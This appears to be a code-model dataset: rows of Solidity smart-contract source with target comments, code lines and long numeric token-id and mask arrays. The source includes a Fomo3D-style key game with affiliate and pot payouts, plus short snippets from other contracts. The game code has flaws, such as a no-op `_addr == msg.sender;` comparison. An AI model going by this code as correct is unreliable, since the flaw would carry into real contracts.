uint256 _com = _eth / 100;
address(WALLET_ETH_COM1).transfer(_com); // 1%
address(WALLET_ETH_COM2).transfer(_com); // 1%
// distribute 10% share to affiliate (8% + 2%)
uint256 _aff = _eth / 10;
// check: affiliate must not be self, and must have an ID
if (_affID != _pID && _affID != 0) {
plyr_[_affID].aff = (_aff.mul(8)/10).add(plyr_[_affID].aff); // distribute 8% to 1st aff
uint256 _affID2 = plyr_[_affID].laff; // get 2nd aff
if (_affID2 != _pID && _affID2 != 0) {
plyr_[_affID2].aff = (_aff.mul(2)/10).add(plyr_[_affID2].aff); // distribute 2% to 2nd aff
}
} else {
plyr_[1].aff = _aff.add(plyr_[_affID].aff);
}
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _keys)
private
{
// calculate gen share
uint256 _gen = (_eth.mul(40)) / 100; // 40%
// calculate jcg share
uint256 _jcg = (_eth.mul(20)) / 100; // 20%
// toss 3% into airdrop pot
uint256 _air = (_eth.mul(3)) / 100;
airDropPot_ = airDropPot_.add(_air);
// toss 5% into leeksteal pot
uint256 _steal = (_eth / 20);
leekStealPot_ = leekStealPot_.add(_steal);
// update eth balance (eth = eth - (2% com share + 3% airdrop + 5% leekSteal + 10% aff share))
_eth = _eth.sub(((_eth.mul(20)) / 100));
// calculate pot
uint256 _pot = _eth.sub(_gen).sub(_jcg);
// distribute gen n jcg share (thats what updateMasks() does) and adjust
// balances for dust.
uint256 _dustKey = updateKeyMasks(_rID, _pID, _gen, _keys);
uint256 _dustGu = updateGuMasks(_pID, _jcg);
// add eth to pot
round_[_rID].pot = _pot.add(_dustKey).add(_dustGu).add(round_[_rID].pot);
}
// update profit to key-holders
function updateKeyMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
// calc profit per key & round mask based on this buy: (dust goes to pot)
uint256 _ppt = (_gen.mul(1e18)) / (round_[_rID].keys);
round_[_rID].maskKey = _ppt.add(round_[_rID].maskKey);
// calculate player earning from their own buy (only based on the keys
// they just bought). & update player earnings mask
uint256 _pearn = (_ppt.mul(_keys)) / (1e18);
plyrRnds_[_pID][_rID].maskKey = (((round_[_rID].maskKey.mul(_keys)) / (1e18)).sub(_pearn)).add(plyrRnds_[_pID][_rID].maskKey);
// calculate & return dust
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1e18)));
}
// update profit to gu-holders
function updateGuMasks(uint256 _pID, uint256 _jcg)
private
returns(uint256)
{
if (allGuGiven_ > 0) {
// calc profit per gu & round mask based on this buy: (dust goes to pot)
uint256 _ppg = (_jcg.mul(1e18)) / allGuGiven_;
allMaskGu_ = _ppg.add(allMaskGu_);
// calculate & return dust
return (_jcg.sub((_ppg.mul(allGuGiven_)) / (1e18)));
} else {
return _jcg;
}
}
function withdrawEarnings(uint256 _pID, bool isWithdraw)
whenNotPaused_3
private
returns(uint256)
{
uint256 _rID = plyr_[_pID].lrnd;
updateGenGuVault(_pID);
updateReferralGu(_pID);
checkDoubledProfit(_pID, _rID);
updateGenVault(_pID, _rID);
// from all vaults
uint256 _earnings = plyr_[_pID].gen.add(plyr_[_pID].win).add(plyr_[_pID].genGu).add(plyr_[_pID].aff).add(plyr_[_pID].refund);
if (_earnings > 0)
{
if (isWithdraw) {
plyrRnds_[_pID][_rID].winWithdraw = plyr_[_pID].win.add(plyrRnds_[_pID][_rID].winWithdraw);
plyrRnds_[_pID][_rID].genWithdraw = plyr_[_pID].gen.add(plyrRnds_[_pID][_rID].genWithdraw); // for doubled profit
plyrRnds_[_pID][_rID].genGuWithdraw = plyr_[_pID].genGu.add(plyrRnds_[_pID][_rID].genGuWithdraw);
plyrRnds_[_pID][_rID].affWithdraw = plyr_[_pID].aff.add(plyrRnds_[_pID][_rID].affWithdraw);
plyrRnds_[_pID][_rID].refundWithdraw = plyr_[_pID].refund.add(plyrRnds_[_pID][_rID].refundWithdraw);
plyr_[_pID].withdraw = _earnings.add(plyr_[_pID].withdraw);
round_[_rID].withdraw = _earnings.add(round_[_rID].withdraw);
}
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].genGu = 0;
plyr_[_pID].aff = 0;
plyr_[_pID].refund = 0;
}
return(_earnings);
}
bool public activated_ = false;
function activate()
onlyOwner
public
{
// can only be ran once
require(activated_ == false);
// activate the contract
activated_ = true;
contractStartDate_ = now;
// lets start first round
rID_ = 1;
round_[1].strt = now;
round_[1].end = now + rndInit_;
}
function leekStealGo()
private
{
// get a number for today dayNum
uint leekStealToday_ = (now.sub(round_[rID_].strt)) / 1 days;
if (dayStealTime_[leekStealToday_] == 0) // if there hasn't a winner today, proceed
{
leekStealTracker_++;
if (randomNum(leekStealTracker_) == true)
{
dayStealTime_[leekStealToday_] = now;
leekStealOn_ = true;
}
}
}
function stealTheLeek()
whenNotPaused_4
public
{
if (leekStealOn_)
{
if (now.sub(dayStealTime_[leekStealToday_]) > 300) // if time passed 5min, turn off and exit
{
leekStealOn_ = false;
} else {
// if yes then assign the 1eth, if the pool has 1eth
if (leekStealPot_ > 1e18) {
uint256 _pID = pIDxAddr_[msg.sender]; // fetch player ID
plyr_[_pID].win = plyr_[_pID].win.add(1e18);
leekStealPot_ = leekStealPot_.sub(1e18);
leekStealWins_[_pID] = leekStealWins_[_pID].add(1e18);
}
}
}
}
// Getters ====================
function getPrice()
public
view
returns(uint256)
{
uint256 keys = keysRec(round_[rID_].eth, 1e18);
return (1e36 / keys);
}
function getTimeLeft()
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt).sub(_now) );
else
return(0);
}
function getDisplayGenVault(uint256 _pID)
private
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _lrnd = plyr_[_pID].lrnd;
uint256 _genVault = plyr_[_pID].gen;
uint256 _genEarning = calcUnMaskedKeyEarnings(_pID, _lrnd);
uint256 _doubleProfit = (plyrRnds_[_pID][_rID].eth).mul(2);
uint256 _displayGenVault = _genVault.add(_genEarning);
if (_genVault.add(_genEarning) > _doubleProfit)
_displayGenVault = _doubleProfit;
return _displayGenVault;
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
// if round has ended. but round end has not been run (so contract has not distributed winnings)
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
uint256 _winVault;
if (round_[_rID].plyr == _pID) // if player is winner
{
_winVault = (plyr_[_pID].win).add( ((round_[_rID].pot).mul(40)) / 100 );
} else {
_winVault = plyr_[_pID].win;
}
return
(
_winVault,
getDisplayGenVault(_pID),
(plyr_[_pID].genGu).add(calcUnMaskedGuEarnings(_pID)),
plyr_[_pID].aff,
plyr_[_pID].refund
);
// if round is still going on, or round has ended and round end has been ran
} else {
return
(
plyr_[_pID].win,
getDisplayGenVault(_pID),
(plyr_[_pID].genGu).add(calcUnMaskedGuEarnings(_pID)),
plyr_[_pID].aff,
plyr_[_pID].refund
);
}
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
return
(
_rID, //0
round_[_rID].allkeys, //1
round_[_rID].keys, //2
allGuGiven_, //3
round_[_rID].end, //4
round_[_rID].strt, //5
round_[_rID].pot, //6
plyr_[round_[_rID].plyr].addr, //7
round_[_rID].eth, //8
airDropTracker_ + (airDropPot_ * 1000) //9
);
}
function getCurrentPhraseInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256)
{
// setup local phID
uint256 _phID = phID_;
return
(
_phID, //0
phrase_[_phID].eth, //1
phrase_[_phID].guGiven, //2
phrase_[_phID].minEthRequired, //3
phrase_[_phID].guPoolAllocation //4
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256)
{
// setup local rID, phID
uint256 _rID = rID_;
uint256 _phID = phID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID, // 0
plyrRnds_[_pID][_rID].keys, //1
plyr_[_pID].gu, //2
plyr_[_pID].laff, //3
(plyr_[_pID].gen).add(calcUnMaskedKeyEarnings(_pID, plyr_[_pID].lrnd)).add(plyr_[_pID].genGu).add(calcUnMaskedGuEarnings(_pID)), //4
plyr_[_pID].aff, //5
plyrRnds_[_pID][_rID].eth, //6 totalIn for the round
plyrPhas_[_pID][_phID].eth, //7 curr phrase referral eth
plyr_[_pID].referEth, // 8 total referral eth
plyr_[_pID].withdraw // 9 totalOut
);
}
function getPlayerWithdrawal(uint256 _pID, uint256 _rID)
public
view
returns(uint256, uint256, uint256, uint256, uint256)
{
return
(
plyrRnds_[_pID][_rID].winWithdraw, //0
plyrRnds_[_pID][_rID].genWithdraw, //1
plyrRnds_[_pID][_rID].genGuWithdraw, //2
plyrRnds_[_pID][_rID].affWithdraw, //3
plyrRnds_[_pID][_rID].refundWithdraw //4
);
}
}
library Datasets {
struct Player {
address addr; // player address
uint256 win; // winnings vault
uint256 gen; // general vault
uint256 genGu; // general gu vault
uint256 aff; // affiliate vault
uint256 refund; // refund vault
uint256 lrnd; // last round played
uint256 laff; // last affiliate id used
uint256 withdraw; // sum of withdraw
uint256 maskGu; // player mask gu: for sharing eth-profit by holding gu
uint256 gu;
uint256 guProfit; // record profit by gu
uint256 referEth; // total referral eth
uint256 lastClaimedPhID; // at which phID player has claimed the remaining gu
}
struct PlayerRounds {
uint256 eth; // eth player has added to round
uint256 keys; // keys
uint256 keyProfit; // record key profit
uint256 maskKey; // player mask key: for sharing eth-profit by holding keys
uint256 winWithdraw; // eth withdraw from gen vault
uint256 genWithdraw; // eth withdraw from gen vault
uint256 genGuWithdraw; // eth withdraw from gen vault
uint256 affWithdraw; // eth withdraw from gen vault
uint256 refundWithdraw; // eth withdraw from gen vault
}
struct Round {
uint256 plyr; // pID of player in lead
uint256 end; // time ends/ended
bool ended; // has round end function been ran
uint256 strt; // time round started
uint256 allkeys; // all keys
uint256 keys; // active keys
uint256 eth; // total eth in
uint256 pot; // eth to pot (during round) / final amount paid to winner (after round ends)
uint256 maskKey; // global mask on key shares: for sharing eth-profit by holding keys
uint256 playCtr; // play counter for playOrders
uint256 withdraw;
}
struct PlayerPhrases {
uint256 eth; // amount of eth in of the referral
uint256 guRewarded; // if have taken the gu through referral
}
struct Phrase {
uint256 eth; // amount of total eth in of the referral
uint256 guGiven; // amount of gu distributed
uint256 mask; // a rate of remainGu per ethIn shares: for sharing gu-reward by referral eth
uint256 minEthRequired; // min refer.eth to get 1 gu
uint256 guPoolAllocation; // total number of gu
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
/**
* @dev gives square root of given x.
*/
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
/**
* @dev gives square. multiplies x by x
*/
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
/**
* @dev x to the power of y
*/
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | for doubled profit
| plyrRnds_[_pID][_rID].genWithdraw = plyr_[_pID].gen.add(plyrRnds_[_pID][_rID].genWithdraw); | 2,160,687 | [
1,
1884,
1645,
72,
450,
7216,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
7734,
293,
715,
86,
54,
82,
2377,
67,
63,
67,
84,
734,
6362,
67,
86,
734,
8009,
4507,
1190,
9446,
273,
293,
715,
86,
67,
63,
67,
84,
734,
8009,
4507,
18,
1289,
12,
1283,
86,
54,
82,
2377,
67,
63,
67,
84,
734,
6362,
67,
86,
734,
8009,
4507,
1190,
9446,
1769,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/4/0x64fD3aea4Df3b76348a8cC9F2A18930fD6927738/sources/RAYv2.sol | @dev Only called on mints | {
uint totalPortfolioBalance = getPortfolioTotalBalance(opportunities, underlying, roboTokenAddress, raised, availableUnderlying, ExchangeRates.MINT);
return calculatePortfolioNAV(totalPortfolioBalance, raised, roboTokenAddress);
}
| 8,750,865 | [
1,
3386,
2566,
603,
312,
28142,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
288,
203,
203,
565,
2254,
2078,
17163,
13937,
273,
11036,
10270,
5269,
13937,
12,
556,
655,
318,
1961,
16,
6808,
16,
721,
1075,
1345,
1887,
16,
11531,
16,
2319,
14655,
6291,
16,
18903,
20836,
18,
49,
3217,
1769,
203,
203,
565,
327,
4604,
17163,
50,
5856,
12,
4963,
17163,
13937,
16,
11531,
16,
721,
1075,
1345,
1887,
1769,
203,
203,
225,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/137/0xABBB4d0074C0361fBf7e07FD3d4d4e9cCCB9128f/sources/contracts/PrimexDNS/PrimexDNS.sol | * @inheritdoc IPrimexDNS/ | function setDexAdapter(address _newAdapterAddress) external override onlyRole(BIG_TIMELOCK_ADMIN) {
_require(
IERC165Upgradeable(_newAdapterAddress).supportsInterface(type(IDexAdapter).interfaceId),
Errors.ADDRESS_NOT_SUPPORTED.selector
);
dexAdapter = _newAdapterAddress;
emit DexAdapterChanged(_newAdapterAddress);
}
| 4,668,690 | [
1,
36,
10093,
467,
2050,
381,
338,
11602,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
444,
40,
338,
4216,
12,
2867,
389,
2704,
4216,
1887,
13,
3903,
3849,
1338,
2996,
12,
19044,
67,
4684,
6589,
67,
15468,
13,
288,
203,
3639,
389,
6528,
12,
203,
5411,
467,
654,
39,
28275,
10784,
429,
24899,
2704,
4216,
1887,
2934,
28064,
1358,
12,
723,
12,
734,
338,
4216,
2934,
5831,
548,
3631,
203,
5411,
9372,
18,
15140,
67,
4400,
67,
21134,
18,
9663,
203,
3639,
11272,
203,
3639,
302,
338,
4216,
273,
389,
2704,
4216,
1887,
31,
203,
3639,
3626,
463,
338,
4216,
5033,
24899,
2704,
4216,
1887,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x91Bfce317111F14737b6f5C892785C2aAF4Dfd7b/sources/ScotchMarketplace.sol | change beneficiary of the Scotch Marketplace | function changeBeneficiary(BeneficiaryMode mode, address payable recipient) public virtual onlyOwner {
if (mode == BeneficiaryMode.None)
require(recipient == address(0), "Beneficiar mode None requires zero address for recipient!");
else
require(recipient != address(0), "Beneficiary recipient address should be specified!");
_beneficiary.mode = mode;
_beneficiary.recipient = recipient;
}
| 3,671,429 | [
1,
3427,
27641,
74,
14463,
814,
434,
326,
2850,
352,
343,
6622,
24577,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
2549,
38,
4009,
74,
14463,
814,
12,
38,
4009,
74,
14463,
814,
2309,
1965,
16,
1758,
8843,
429,
8027,
13,
1071,
5024,
1338,
5541,
288,
203,
565,
309,
261,
3188,
422,
605,
4009,
74,
14463,
814,
2309,
18,
7036,
13,
203,
1377,
2583,
12,
20367,
422,
1758,
12,
20,
3631,
315,
38,
4009,
74,
14463,
297,
1965,
599,
4991,
3634,
1758,
364,
8027,
4442,
1769,
203,
565,
469,
203,
1377,
2583,
12,
20367,
480,
1758,
12,
20,
3631,
315,
38,
4009,
74,
14463,
814,
8027,
1758,
1410,
506,
1269,
4442,
1769,
203,
203,
565,
389,
70,
4009,
74,
14463,
814,
18,
3188,
273,
1965,
31,
203,
565,
389,
70,
4009,
74,
14463,
814,
18,
20367,
273,
8027,
31,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x6b44B4307aCB2356DE98Db6c004C1cB35686b001/sources/browser/Component.sol | * @dev Collection of functions related to the address type/ | library Address {
pragma solidity 0.6.12;
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
return (codehash != accountHash && codehash != 0x0);
}
assembly { codehash := extcodehash(account) }
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
require(success, "Address: unable to send value, recipient may have reverted");
}
(bool success, ) = recipient.call{ value: amount }("");
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
